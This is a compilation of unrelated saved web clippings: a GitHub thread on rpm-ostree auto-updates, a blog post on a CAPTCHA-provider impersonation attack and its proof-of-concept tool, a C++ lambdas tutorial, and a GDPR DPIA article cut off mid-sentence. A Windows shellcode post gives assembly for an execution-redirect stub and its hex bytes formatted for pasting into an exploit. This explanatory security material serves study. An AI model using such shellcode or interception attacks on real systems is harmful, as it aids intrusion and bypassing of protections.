<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='91'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2681'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **ashcrow ** commented on Apr 12, 2018

Do we have a path forward on this?  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='92'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2708'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on May 4, 2018

> That makes sense and is part of the design in \#1147. Basically, gnome-
> software could just turn off the timer and call AutomaticUpdateTrigger\(\)
> at its leisure.
I think if we do this though I'd like to have something like: `rpm-ostree
upgrade --trigger-automatic-update-policy=timer`  
`rpm-ostree upgrade --trigger-automatic-update-policy=gnome-software` And the
daemon then tracks \(somewhere\) the name passed. The idea here is that then

[code]

    # rpm-ostree status
    State: idle; auto updates enabled (stage, agent=gnome-software)
    
[/code]

So administrators understand what's going on. And we should probably
explicitly throw an error if the built-in timer is enabled and anything else
executes the auto-update policy. This "tracking the last agent" though only
works after things have run at least once. But I think that's OK.  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='93'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2742'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on May 4, 2018

Though...today we probably could use `sd_pid_get_unit()` \(or
`sd_pid_get_user_unit()`\) to work this out automatically.  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='94'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='2763' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/14293_244096'
width='16' height='16' /> cgwalters referenced this issue  on May 15, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-closed js-evernote-checked'
viewBox='0 0 16 16' version='1.1' width='14' aria-hidden='true' data-evernote-
id='95'%3e%3cpath fill-rule='evenodd' d='M7 10h2v2H7v-2zm2-6H7v5h2V4zm1.5
1.5l-1 1L12 9l4-4.5-1-1L12 7l-1.5-1.5zM8 13.7A5.71 5.71 0 0 1 2.3 8c0-3.14
2.56-5.7 5.7-5.7 1.83 0 3.45.88 4.5 2.2l.92-.92A6.947 6.947 0 0 0 8 1C4.14 1 1
4.14 1 8s3.14 7 7 7 7-3.14 7-7l-1.52 1.52c-.66 2.41-2.86 4.19-5.48 4.19v-.01z'
data-evernote-id='2766' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/> Closed

####  automatic update checking started by default on FAW 28; ultimately
failed \#1366

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='96'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='2772' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> cgwalters added a commit to
cgwalters/rpm-ostree that referenced this issue  on May 15, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-git-commit js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='97'%3e%3cpath fill-rule='evenodd' d='M10.86 7c-.45-1.72-2-3-3.86-3-1.86
0-3.41 1.28-3.86 3H0v2h3.14c.45 1.72 2 3 3.86 3 1.86 0 3.41-1.28
3.86-3H14V7h-3.14zM7 10.2c-1.22 0-2.2-.98-2.2-2.2 0-1.22.98-2.2 2.2-2.2 1.22 0
2.2.98 2.2 2.2 0 1.22-.98 2.2-2.2 2.2z' data-evernote-id='2779' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

<img src='img/14293_244096' width='20' height='20' />

` daemon: Load sd unit for callers, log it `

` 83c942d `

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='98'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='2791' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> rh-atomic-bot added a commit
that referenced this issue  on May 16, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-git-commit js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='99'%3e%3cpath fill-rule='evenodd' d='M10.86 7c-.45-1.72-2-3-3.86-3-1.86
0-3.41 1.28-3.86 3H0v2h3.14c.45 1.72 2 3 3.86 3 1.86 0 3.41-1.28
3.86-3H14V7h-3.14zM7 10.2c-1.22 0-2.2-.98-2.2-2.2 0-1.22.98-2.2 2.2-2.2 1.22 0
2.2.98 2.2 2.2 0 1.22-.98 2.2-2.2 2.2z' data-evernote-id='2798' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

<img src='img/14293_244096' width='20' height='20' /> <img src='img/14112924'
width='20' height='20' />

` daemon: Load sd unit for callers, log it `

` 7a7d7ad `

<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='100'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2819'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jun 21, 2018

https://wiki.gnome.org/Design/Apps/Software/Updates\#Tentative\_Design
https://gitlab.gnome.org/GNOME/gnome-software/issues/397  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='101'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='2840' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/14293_244096'
width='16' height='16' /> cgwalters referenced this issue  on Jul 23, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-opened js-evernote-checked'
viewBox='0 0 14 16' version='1.1' width='12' aria-hidden='true' data-evernote-
id='102'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='2843' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Open

####  reboot coordination: locksmith successor \#3

Sign up for free **to join this conversation on GitHub**. Already have an
account? Sign in to comment

# Open Security Research: Bypassing CAPTCHAs by Impersonating CAPTCHA
Providers

**Created:**| _8/26/2012 8:29:37 PM_  
---|---  
**Updated:**| _8/26/2012 8:29:37 PM_  
**Author:**| __  
**Tags:**| _web-app-sec mitm_  
  

### Bypassing CAPTCHAs by Impersonating CAPTCHA Providers

By Gursev Kalra.  
  
  
  
CAPTCHA service providers validate millions of CAPTCHAs each day and protect
thousands of websites against the bots. A secure CAPTCHA generation and
validation ecosystem forms the basis of the mutual trust model between the
CAPTCHA provider and the consumer. A variety of damage can occur if any
component of this ecosystem is compromised.  
  
  
  
During Analysis of the CAPTCHA integration libraries provided by several
CAPTCHA providers \(including reCAPTCHA\) revealed that almost all of the
CAPTCHA verification API’s relied on plain text HTTP protocol to perform
CAPTCHA validation. Because of this, the CAPTCHA provider’s identity was not
validated, message authentication checks were not performed and the entire
CAPTCHA validation was performed on an unencrypted channel. This vulnerability
was also reported to reCAPTCHA team several months back.  
  
  
  
If you decompile the .NET Plugin, you'll be able to pull out reCAPTCHA's
verification URL, which demonstrates the absense of HTTPS:  
  
  
  

<img src='img/7613_1.png' width='400' height='192' />

  
  
  
  
In the current scenario, two types of attacks can be launched against
vulnerable CAPTCHA implementations. These attacks are based on the assumption
that an attacker is able to intercept the CAPTCHA validation traffic between
target website and the CAPTCHA provider.  
  
  
  

# Private Key Compromise

Most of CAPTCHA providers issue private and public keys to identify a
particular consumer and to enforce an upper limit on the number of CAPTCHAs
used by them. Private keys are often sent over to the CAPTCHA provider during
the CAPTCHA validation process. If the public and private keys are sent using
plain text HTTP, an attacker could sniff the private keys and:  
  
  
  

  1. Use the CAPTCHA service for without registering for the service by using the captured keys.
  2. Exhaust the target web site’s CAPTCHA quota for the service, which depending on the CAPTCHA provider may cause a wide variety of unexpected issues.

  
  

# The CAPTCHA Clipping Attack

The following image describes what I call the "CAPTCHA Clipping Attack".
Notice that steps 5 and 6 in blue would be the normal operation of events.
We'll go into the attack in a little more detail below.  
  
  
  

<img src='img/7612_2.png' width='400' height='282' />

  
  
  
  
Since the website’s application server acts as a client to CAPTCHA provider
during steps 5 and 6 \(in blue\) and the application server often neglects to
validate the CAPTCHA provider’s identity and the session integrity checks, an
attacker may be able to impersonate the CAPTCHA provider and undermine the
anti-automation protection \(steps 5 and 6 in red\). CAPTCHA validation
responses are mostly Boolean \(true or false, success or failure, pass or
fail, 0 or 1\). The response format and its contents are also publicly
available as part of CAPTCHA provider’s API documentation. This allows an
attacker to easily construct the finite set of possible responses, impersonate
the CAPTCHA provider, and perform malicious CAPTCHA validation for the
application servers.  
  
  
  
To exploit this vulnerability an attacker performs the following:  
  
  
  

  1. The attacker acts as a legitimate application user and submits a large number of requests to the web application.
  2. At the same time, he/she intercepts CAPTCHA validation requests, masquerades as the CAPTCHA provider and approves all submitted requests.

  
  
Masquerading as the CAPTCHA provider and not forwarding the CAPTCHA validation
requests to the actual CAPTCHA provider is the CAPTCHA Clipping Attack.  
  
  
  

# clipcaptcha

clipcaptcha is a proof of concept exploitation tool that specifically targets
the vulnerabilities discussed above and allows complete bypass of CAPTCHA
provider protection. clipcaptcha is built on the sslstrip codebase and has the
following features:  
  
  
  

  1. Performs signature based CAPTCHA provider detection and clipping.
  2. Can be easily extended to masquerade as any CAPTCHA provider by adding corresponding signatures to the configuration XML file.
  3. Has built in signatures of several CAPTCHA providers including reCAPTCHA, OpenCAPTCHA, Captchator etc…
  4. Logs POST requests that match any supported CAPTCHA provider to capture private and public keys. Unmatched requests are forwarded as is.
  5. clipcaptcha supports five operational modes. These are “monitor”, “stealth”, “avalanche”, “denial of service” and “random”.

  
  

<img src='img/7614_3.png' width='400' height='121' />

  
  
  
  

# Download

clipcaptcha can be downloaded here:  
  
  
  

  * https://github.com/OpenSecurityResearch/clipcaptcha

  
  
  
  
Want more info? We'll have a new whitepaper about the attack in Foundstone's
whitepaper section soon\!

# unzip all zip files under a current directory in the directory those files were in | commandlinefu.com
**Created:**| _5/30/2009 12:04:59 PM_  
---|---  
**Updated:**| _5/30/2009 12:05:04 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  
for f in \`find ./ -name "\*.zip"\`; do d=\`dirname $f\`; unzip $f -d $d; done

# Sticky Bits » Blog Archive » Demystifying C++ lambdas

**Created:**| _8/25/2014 8:07:14 PM_  
---|---  
**Updated:**| _8/25/2014 8:07:14 PM_  
**Author:**| __  
**Tags:**| _Debugging Functional C++11_  
  

# Demystifying C++ lambdas

#### A new \(but not so welcome?\) addition

Lambdas are one of the new features added to C++ and seem to cause
considerable consternation amongst many programmers. In this article we’ll
have a look at the syntax and underlying implementation of lambdas to try and
put them into some sort of context.

#### Functors and the Standard Library

With STL algorithms the processing on each element is performed by a user-
supplied unary or binary functor object. For common operations, the STL-
supplied functors can be used \(for example std::divides\), but for bespoke
manipulations a bespoke function or _functor_ must be created.

<img src='img/Temp2_7747.png' alt='image' />

A functor is a class that provides an implementation of operator\(\).

In the case of functors used with the STL algorithms the operator\(\) function
must take either one parameter \(for a unary procedure\) or two parameters
\(for binary procedures\) of appropriate types.

Creating bespoke functors can be a lot of effort; especially if the functor is
only used in one specific place. These bespoke functors also unnecessarily
‘clutter up’ the code.

#### Introducing lambdas

A lambda is an ad-hoc, locally-scoped function \(well, more strictly, a
functor\). Basically, lambdas are syntactic sugar, designed to reduce a lot of
the work required in creating ad-hoc functor classes.

<img src='img/Temp2_7740.png' alt='image' />

The brackets \(\[\]\) mark the declaration of the lambda; it can have
parameters, and it should be followed by its body \(the same as any other
function\).

When the lambda is executed the parameters are passed using the standard ABI
mechanisms. One difference between lambdas and functions: lambda parameters
can’t have defaults.

The body of the lambda is just a normal function body, and can be arbitrarily
complex \(although, as we’ll see, it’s generally good practice to keep lambda
bodies relatively simple\).

Note the lambda uses a _trailing return type_ declaration. This is \(no
doubt\) to simplify parsing \(since types are not valid function parameters\).

The return type may be omitted if:

  * The return type is void 
  * The compiler can deduce the return type \(lambda body is return _< type>_\) 

A lambda is an _object_ \(hence why we’re referring to it as a functor, rather
than a function\) so has a type and can be stored. However, the type of the
lambda is only known by the compiler \(since it is compiler-generated\), so
you must use auto for declaration instances of the lambda.

<img src='img/Temp2_7733.png' alt='image' />

Lambdas allow ad-hoc functions to be declared at block scope \(something that
was illegal before in C++\). The lambda function \(functor\) is only available
within the scope of func\(\) in this example; unlike a function, which would
have global scope \(or file scope if declared as static\).

This means I can replace my manually-created functor in the STL algorithm with
a lambda:

<img src='img/Temp2_7748.png' alt='image' />

In the code above the for\_each algorithm calls the lambda with each element
in the container it turn.

So, that’s neat. But what has it really gained me?

#### Inline lambdas

Since a lambda is a scoped functor we can define it just in the scope where we
actually need it – in our case within the for\_each algorithm.

<img src='img/Temp2_7743.png' alt='image' />

Now, the lambda is defined within the body of the algorithm and effectively
only exists for the lifetime of the algorithm. We have reduced the scope of
the code to just where it is needed \(one of the principles of good modular
design\).

From a readability perspective we have put the functionality right where it is
being used; unlike a functor, which may well be defined in another module
\(that the programmer has to go and find, and/or understand out of context to
where it’s being used\).

#### Under the hood

When you define a lambda the compiler uses that to create an ad-hoc functor
class. The functor name is compiler-generated \(and probably won’t be anything
human readable\)

<img src='img/Temp2_7736.png' alt='image' />

The lambda body is used to generate the operator\(\) method on the functor
class. The client code is modified to use the new lambda-functor.

<img src='img/Temp2_7735.png' alt='image' />

#### Capturing the context

Sometimes it’s useful and convenient to be able to access objects from the
lambda’s containing scope – that is, the scope within which the lambda was
defined. We could pass them in to the lambda as parameters \(just like a
normal function\); however, this doesn’t work with algorithms since the
algorithm has no mechanism for passing extra parameters from your code \(how
could it?\)

If you were writing your own functor you could do this by passing in the
appropriate parameters to the constructor of the functor. C++ provides a
convenient mechanism for achieving this with lambdas called ‘capturing the
context’.

The context of a lambda is the set of objects that are in scope when the
lambda is called. The context objects may be _captured_ then used as part of
the lambda’s processing.

Capturing an object by name makes a lambda-local copy of the object.

<img src='img/Temp2_7745.png' alt='image' />

Capturing an object by reference allows the lambda to manipulate its context.
That is, the lambda can change the values of the objects it has captured by
reference.

<img src='img/Temp2_7742.png' alt='image' />

A word of warning here: A lambda is, as we’ve seen, just an object and, like
other objects it may be copied, passed as a parameter, stored in a container,
etc. The lambda object has its own scope and lifetime which may, in some
circumstances, be different to those objects it has ‘captured’. Be very
careful when capturing local objects by reference because a lambda’s lifetime
may exceed the lifetime of its capture list. In other words, the lambda may
have a reference to an object no longer in scope\!

All variables in scope can be captured \(but be careful of the overheads of
doing so\) – the compiler must make copies of all objects \(including copy
constructors\), or keep references for every object that is currently in
scope.

<img src='img/Temp2_7741.png' alt='image' />

#### Under the hood \(again\)

When you add a capture list to a lambda the compiler adds appropriate member
variables to the lambda-functor class and a constructor for initialising these
variables.

<img src='img/Temp2_7734.png' alt='image' />

It is relatively easy to see now why capturing the context has potential
overheads: for _every_ object captured by value a copy of the original is
made; for every object captured by reference a reference is stored.
\(Therefore you might want to think twice about capturing everything in the
context by value \(using \[=\]\)\)

<img src='img/Temp2_7739.png' alt='image' />

#### Lambdas within member functions

It is perfectly possible \(and quite likely\) that we may want to use lambdas
inside class member functions. Remember, a lambda is a unique \(and separate\)
class of its own so when it executes it has its own context. Therefore, it
does not have direct access to any of the class’ member variables.

To capture the class’ member variables we must capture the this pointer of the
class. We now have full access to all the class’ data \(including private
data, as we are inside a member function\).

<img src='img/Temp2_7744.png' alt='image' />

#### Callable objects

_Callable object_ is a generic name for any object that can be called like a
function:

  * A member function \(pointer\)
  * A free function \(pointer\)
  * A functor
  * A lambda

In C we have the concept of a pointer-to-function, which allows the address of
any function to be stored \(providing its signature matches that of the
pointer\). However, a pointer-function has a different signature to a pointer-
to-member-function; which as a different signature to a lambda. What would be
nice is a generalised ‘pointer-to-callable-object’ that could store the
address of any callable object \(providing its signature matched, of course\).

std::function is a template class that can hold any callable object that
matches its signature. std::function provides a consistent mechanism for
storing, passing and accessing these objects.

<img src='img/Temp2_7746.png' alt='image' />

std::function can be thought of as a generic pointer-to-function that can
point at any callable object, provided the callable object matches the
signature of the std::function. And, unlike C’s pointer-to-function, the C++
compiler provides strong type-checking on the parameters of the callable
object \(including the return type\).

<img src='img/Temp2_7737.png' alt='image' />

std::function provides an overload for operator\!= to allow it to be compared
to nullptr \(so it can act like a function-pointer\).

Our SimpleCallback class can be used with any callable type – functors, free
functions or lambdas, without any change, since they all match the signature
required by callback.

<img src='img/Temp2_7738.png' alt='image' />

#### In summary

Despite the awkward syntax lambdas are not a mechanism to be feared or
despised. They merely provides a useful way of simplify code and reducing
programmer effort. In essence they are no more than syntactic sugar. In this
respect they are no more detrimental than operator overloading.

# Secure Software Programming and Vulnerability Analysis

**Created:**| _4/15/2010 3:57:21 PM_  
---|---  
**Updated:**| _4/15/2010 3:57:42 PM_  
**Author:**| __  
**Tags:**| _windows security research reversing programming Heap_  
  
<img src='img/Temp2_7286' />

# The Grey Corner: High Level Windows Shellcode Development Methods

**Created:**| _4/26/2011 8:50:39 PM_  
---|---  
**Updated:**| _4/26/2011 8:50:39 PM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

## Monday, April 25, 2011

###  High Level Windows Shellcode Development Methods

Heres a super quick entry covering some high level methods you can use when
developing Windows shellcode.  
  
The methods are:  

  * Using the memory editing features of a debugger
  * Using a c compiler
  * Using an assembler

  
**Using a debugger**  
  
Writing shellcode using the code editing features of a debugger like OllyDbg
is best suited to really simple \(approximately <20 byte\) shellcode, or for
making small edits to already written code while you are actually testing it.
This method is also great when you want to enter the instruction using an
opcode instead of the assembly equivalent, which you may want to do when
writing shellcode to work around bad character limitations.  
  
The exploit writers debugger guide I wrote a while ago covers how to write and
perform small edits to shellcode using the memory editing features in OllyDbg,
and this should also work for Immunity Debugger. The links are available from
here:  
  
http://grey-corner.blogspot.com/2011/03/exploit-writers-debugging-
tutorial.html  
  
**Using a c compiler**  
  
Writing shellcode using a c compiler is a good method for writing more
detailed code. Using Didier Stevens' method, you can also debug your code
inside the Visual Studio IDE. I haven't had the opportunity to use this method
myself as yet, but testing this out has been on my ever expanding "To Try"
list ever since I first read about it, so I thought I'd link to it here.  
  
The links are available from Didier's blog, here:  
  
http://blog.didierstevens.com/2010/05/04/writing-win32-shellcode-with-a-c-
compiler/  
  
**Using an assembler**  
  
Writing shellcode using an assembler is a fairly obvious method, and was the
one I used to develop my Download and Execute Script shellcode.  
  
As an example of how this is done, heres some assembly code I pieced together
for another Vulnserver related article I recently wrote \(hopefully I'll be
posting links to it here any day now\). This code is actually based on code
from a SecurityForest article that is now offline, and I think they in turn
got it from some older Phrack article...  

> \[BITS 32\]  
>  
>  ; Shellcode to redirect execution back 768 bytes from instruction following
> CALL  
>  
>  global \_start  
>  
>  jmp short jmpspot  
>  callspot: ; The CALL lands here, stack now has address of next instruction  
>  pop ecx ; pops address of next instruction into ECX  
>  dec ch ; decrement CH register by 1 = ECX - 256  
>  dec ch  
>  dec ch  
>  jmp ecx ; jmp to ECX  
>  jmpspot:  
>  call callspot
  
Save this as shellcode.asm, then assemble to binary form into file
shellcode.bin using nasm as follows:  
  

> stephen@lion:~$ nasm -f bin shellcode.asm -o shellcode.bin
  
We can then print this out in Hex format, ready for pasting into an exploit,
using command line perl-fu  
  

> stephen@lion:~$ cat shellcode.bin | perl -e 'while \(read STDIN, $d, 1\) \{print "\\\x" . sprintf\( "%02x", ord\($d\)\);\}; print "\n"'  
>  \x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff
  
Or we can get it printed out in slightly neater manner with a character count
at the end using my very simple convertsc2h.pl script.  
  

> stephen@lion:~$ convertsc2h.pl shellcode.bin  
>  Shellcode:  
>  \x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff  
>  
>  Length:14

# Data Protection Impact Assessment. First guidelines

**Created:**| _5/12/2017 12:59:22 PM_  
---|---  
**Updated:**| _5/12/2017 1:13:07 PM_  
**Author:**| __  
**Tags:**| _gdpr_  
  

  

# Data Protection Impact Assessment. First guidelines

 __May 12, 2017 __Js Op de Beeck __BlogPost, CISO, Privacy __0

.

### 1\) Summary

Data Protection Impact Assessment process is helping organisations to design
their systems with good privacy and data protection levels. **DPIA allows to
measure the level of privacy.**

Thanks to Belgian Privacy Commission, we’re able to see some first official
guidelines about the process of conducting DPIA and how it fits in
organizations. It will undoubtedly require a cultural shift in the way of
thinking. **Privacy becomes an important factor.**

DPIA can be made with different methodologies and approaches tailored towards
specific needs. **Well conducted DPIAs will become market differentiators.**  
<img src='img/DPIA-2.jpg' width='600' height='203' />

**One of the most important cultural change companies and organisations are
beginning to face is the need of systematic inclusion of privacy and data
protection in technical and organisational frameworks.** A crucial aspect of
these changes is the need of conducting **Privacy Impact Assessments** \(PIA\)
and **Data Protection Impact Assessments** \(DPIA\). These tools are designed
to measure the levels of privacy and security provided by the system, and
suggest possible improvements.

Companies will be struggling to include PIA/DPIA in standard business process
for products, applications and systems, and when in need – they will ask for
external help. Mandatory deployment of the process needs to be finalised by
May 2018. In practice – much sooner, companies will need to adapt during 2017.

Privacy Impact Assessments are already established paradigms. But until now,
Data Protection Impact Assessment was less known, yet also important tool.
DPIA is a measure devised by the European Union in the General Data Protection
Regulation. There are currently no official guidelines by Working Party 29
\(WP29\), European Data Protection Supervisor or other authorities. This
starting to change – recently, thanks to the Privacy Commission of Belgium.
Belgian Data Protection Authority \(DPA\) is a very active body, keen to seek
help from experienced industry professionals and researchers. You may have
heard about the case Belgian DPA has brought against Facebook . It’s a serious
and respected privacy authority body.

I analyse the document and annotate it with my interpretation. Where
appropriate – I review and comment the proposal, proposing good DPIA
practices. A word of caution – I do not copy and paste or translate the
document literary. Rather, I analyse it – based on my knowledge, skills and
professional experience.

In many respects, the DPIA guidelines laid out in the proposal are very
general, not overly technical, and not really specific. They are, however,
very interesting. Many privacy researchers and professionals suspected similar
interpretations \(it doesn’t mean “identical”\). It’s worth to look on how the
process might be operating.  
Important note: These guidelines are still a proposal. They aren’t yet widely
accepted in Europe. We’ll need to wait for that.  
But it’s the first public document on DPIA delivered by a respected privacy
authority. It will definitely be very influential. The report itself can be
found here. It’s in French. And in case you’re wondering – the French official
name for **Data Protection Impact Assessment** \(**DPIA**\) is **Analyse
d’Impact Relative à la Protection des Données** , also known as **AIPD**\).

On a high level the document specifies:

  * the required elements of a DPIA
  * when it’s obligatory to conduct a DPIA
  * who is involved in a DPIA process

Conducting DPIA is understood as directly resulting from the GDPR principle of
accountability. Organisations need to be able to demonstrate that privacy and
data protection principles are practically considered and taken seriously.
DPIA in itself is a risk-based tool helping to measure and review the privacy
level, and when necessary – propose design changes. The DPIA process is
broadly applied to large systems and products as a whole. In order to be
efficient – it must be conducted by people with profound knowledge, skills and
expertise in security and privacy. DPIA is not a check-list. I doubt that any
DPIA conducted following the “check-list” approach, without deep understanding
and consideration of the system – would ever be taken seriously during a
possible later verification. And that’s also an important aspect of a DPIA:
results must be verifiable.  
In my view, that’s the **first principle of a good DPIA: it must be
specific**.

Keep in mind that the DPIA concerns data processing. To simplify, data
processing is a catch-phrase describing: collection, storage, use and erasure
of data. Consequently, DPIA deals with such aspects like transmission, storage
and operations on data.

# 1\. Analysis of Privacy Commission of Belgium DPIA Guidelines

Let’s start with General Data Protection Regulation. GDPR article 35\(7\)
lists the minimum requirements a DPIA must provide and contain:

  * a systematic **description of the envisaged processing operations** and the purposes of the processing, including, where applicable, the legitimate interest pursued by the controller
  * an **assessment of the necessity and proportionality** of the processing operations in relation to the purposes
  * an **assessment of the risks** to the rights and freedoms of data subjects
  * the **measures envisaged to address the risks, including safeguards, security measures and mechanisms** to ensure the protection of personal data and to demonstrate compliance with this Regulation taking into account the rights and legitimate interests of data subjects and other persons concerned.

A DPIA report must also contain

  * purposes of processing
  * the stakeholders
  * categories and types of private data processed in the system
  * characterization of types of data flows \(e.g. is the data transferred?\)
  * etc.

These descriptions should be clear. Clarity is valued in DPIA. In my opinion,
**DPIA cannot contain ambiguous terms. A good DPIA is straight and to the
point.**

### 1\) Proportionality

DPIA must provide a proportionality analysis. In other words: are the used
data really needed to fulfil intended objectives?

It must be established:

  * what is the objective of processing data
  * what are the reasons of processing data in a particular way in order to meet the objective
  * if there is more than one way to achieve a task: it’s necessary to explain why the chosen one is followed

The last point is very interesting and will force data controllers
\(companies, organizations\) to analyze the way they process data on a very
broad level. They will need to ask \(and answer\) a question: are there
simpler \(usually this means less risky\) ways to achieve a particular goal?

### 2\) Risk Analysis

In general, risks are related to “rights and freedoms of natural persons”.
This refers to GDPR section, which I quote below in verbatim:

_… which could lead to physical, material or non-material damage, in
particular: where the processing may give rise to discrimination, identity
theft or fraud, financial loss, damage to the reputation, loss of
confidentiality of personal data protected by professional secrecy,
unauthorised reversal of pseudonymisation, or any other significant economic
or social disadvantage; where data subjects might be deprived of their rights
and freedoms or prevented from exercising control over their personal data;
where personal data are processed which reveal racial or ethnic origin,
political opinions, religion or philosophical beliefs, trade union membership,
and the processing of genetic data, data concerning health or data concerning
sex life or criminal convictions and offences or related security measures;
where personal aspects are evaluated, in particular analysing or predicting
aspects concerning performance at work, economic situation, health, personal
